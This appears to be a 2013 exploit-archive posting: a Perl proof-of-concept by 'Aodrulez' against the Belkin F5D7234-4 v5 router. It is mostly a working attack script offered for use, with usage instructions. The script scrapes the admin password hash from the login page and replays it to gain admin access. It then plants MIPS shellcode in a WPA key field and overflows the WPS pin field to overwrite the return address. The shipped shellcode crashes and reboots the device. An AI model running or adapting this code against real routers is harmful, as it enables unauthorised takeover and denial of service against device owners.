Home / exploits Belkin G Wireless Router RCE PoC
Posted on 26 August 2013
<pre>| Belkin G Wireless Router RCE PoC. | Firmware Version : 5.00.12 (Sep 10 2009 19:54:12) Boot Version : 1.18 Hardware : F5D7234-4 v5 (01) Author : Aodrulez. Email : atul.alex@orchidseven.com Twitter : http://twitter.com/Aodrulez +---------+ | Details | +---------+ The exploit works in 3 stages. 1. Authentication. 2. Setting up shellcode in the memory at a known location. 3. Triggering an RA register over-write to execute the shellcode. This particular model of router is based on 'embedded Configurable operating system' a.k.a (eCos) version 2.0. The shellcode used in the exploit is a dummy one that basically just triggers an exception & crashes the router, forcing it to reboot. Video Demo : http://www.youtube.com/watch?v=MtrYs-f6X3E +---------+ | Exploit | +---------+ #!/usr/bin/perl use strict; use warnings; use LWP 5.64; $| = 1; # Variable declarations. my $browser = LWP::UserAgent->new; my $passHash=""; my $url =""; my $response =""; my $ip=""; $browser ->timeout(10); # Just a few nops followed by a dummy shellcode that crashes & reboots the router. my $shellcode="x20x20x20x20x20x20x20x20x20x20x20x20x04xd0xffxffx20x20x20x20"; sub Authenticate() { print "[+] Trying to authenticate. "; $url= "http://$ip/login.stm"; $response = $browser->get( $url); my @aod= $response->content =~ m/var password = "(.*)";/g; if(!$aod[0]) { print "[-] Damn! Something went wrong. This might not work here :-/ "; exit; } else { $passHash=$aod[0]; print "[+] Admin Password = $passHash (MD5 Hash). "; } print "[+] Time to authenticate you! "; $url = "http://$ip/cgi-bin/login.exe"; $response = $browser->post( $url, [ 'totalMSec' => "1377121454.99", 'pws' => "$passHash", ,] ); if( $response->content =~ /index/ ) { print "[+] Logged in successfully as 'Admin'! "; print "[!] Open this link in a browser for admin access : http://$ip/setup.htm "; } else { print "[-] Login failed! This might not work here :-/ "; exit; } print " [+] Continue with exploitation? (Y/N) : "; my $temp=<STDIN>; if ($temp=~"Y" || $temp=~"y") { Exploit(); } else { print "[+] Have fun! "; exit; } } sub Exploit() { # Stage 1: Fill shellcode at a known location : 0x803c0278 (Buffer=120 bytes) # 0x803c0278 is fixed for this device/firmware combination. print "[+] Stage 1 : Allocating shellcode. "; if (length($shellcode) > 120) { print "[-] Shellcode is too big! (120 bytes Max) "; exit; } print "[+] Shellcode length : ".length($shellcode)." "; # Fill the rest with nops. Not needed but good to have. # Shellcode size should be ideally a multiple of 4 as this is MIPS. my $nopsize=120-length($shellcode); $shellcode=$shellcode.("x20"x$nopsize); $url = "http://$ip/cgi-bin/wireless_WPA.exe"; $response = $browser->post( $url, [ 'wpa_authen' => "1", 'wpa_psk' => '0', 's_rekeysec' => '900000', 's_rekeypkt' => '1000', 'w802_rekey' => '0', 'encryption' => '3', 'security_type' => '4', 'authentication' => '3', 'encryption_hid' => '3', 'wpa_key_text' => "ssss", 'wpa_key_pass' => "$shellcode", 'obscure_psk' => '1', 'sharedkey_alter' => '', 'sharedkey_alter1' => '1', ,] ); if( !$response->content ) { print "[-] Damn! Something went wrong. This might not work here :-/ "; } else { print "[+] Stage 1 seems to have gone well. "; } # Stage 2: Trigger Stack Overflow & overwrite RA print "[+] Stage 2 : Triggering Return Address overwrite. "; my $junk="A"x32; my $s0="BBBB"; my $s1="CCCC"; my $ra="x78x02x3cx80"; #EPC -> 0x803c0278 Fixed for this device/firmware combination. my $nop="x20x20x20x20"; my $payload=$junk.$s0.$s1.$ra.$nop; $url = "http://$ip/cgi-bin/wireless_WPS_Enroll.exe"; $response = $browser->post( $url,[ 'pin' => "$payload"]); if( !$response->content ) { print "[-] Damn! Something went wrong. This might not work here :-/ "; } else { print "[-] Done! \m/ "; } } sub Welcome() { print " +------------------------------------------+ "; print "| Belkin G Wireless Router Remote Exploit | "; print "| (Authentication bypass & RCE PoC) | "; print "+------------------------------------------+ "; print "[+] By Aodrulez. "; print " [+] Usage : perl $0 router_ip"; print " [!] Example : perl $0 192.168.2.1"; if (!$ARGV[0]) { print " [-] (o_0) Seriously?? "; exit; } $ip=$ARGV[0]; print " [+] Target IP : $ip "; } # Burn!! Welcome(); Authenticate(); # End of exploit code. +-------------------+ | Greetz Fly Out To | +-------------------+ 1] Amforked() : My Mentor. 2] The Blue Genius : My Boss. 3] str0ke (milw0rm) 4] www.orchidseven.com 5] www.malcon.org 6] www.nsd.org.in +-------+ | Quote | +-------+ &#8220;I would rather die of passion than of boredom.&#8221; - Vincent van Gogh. </pre>
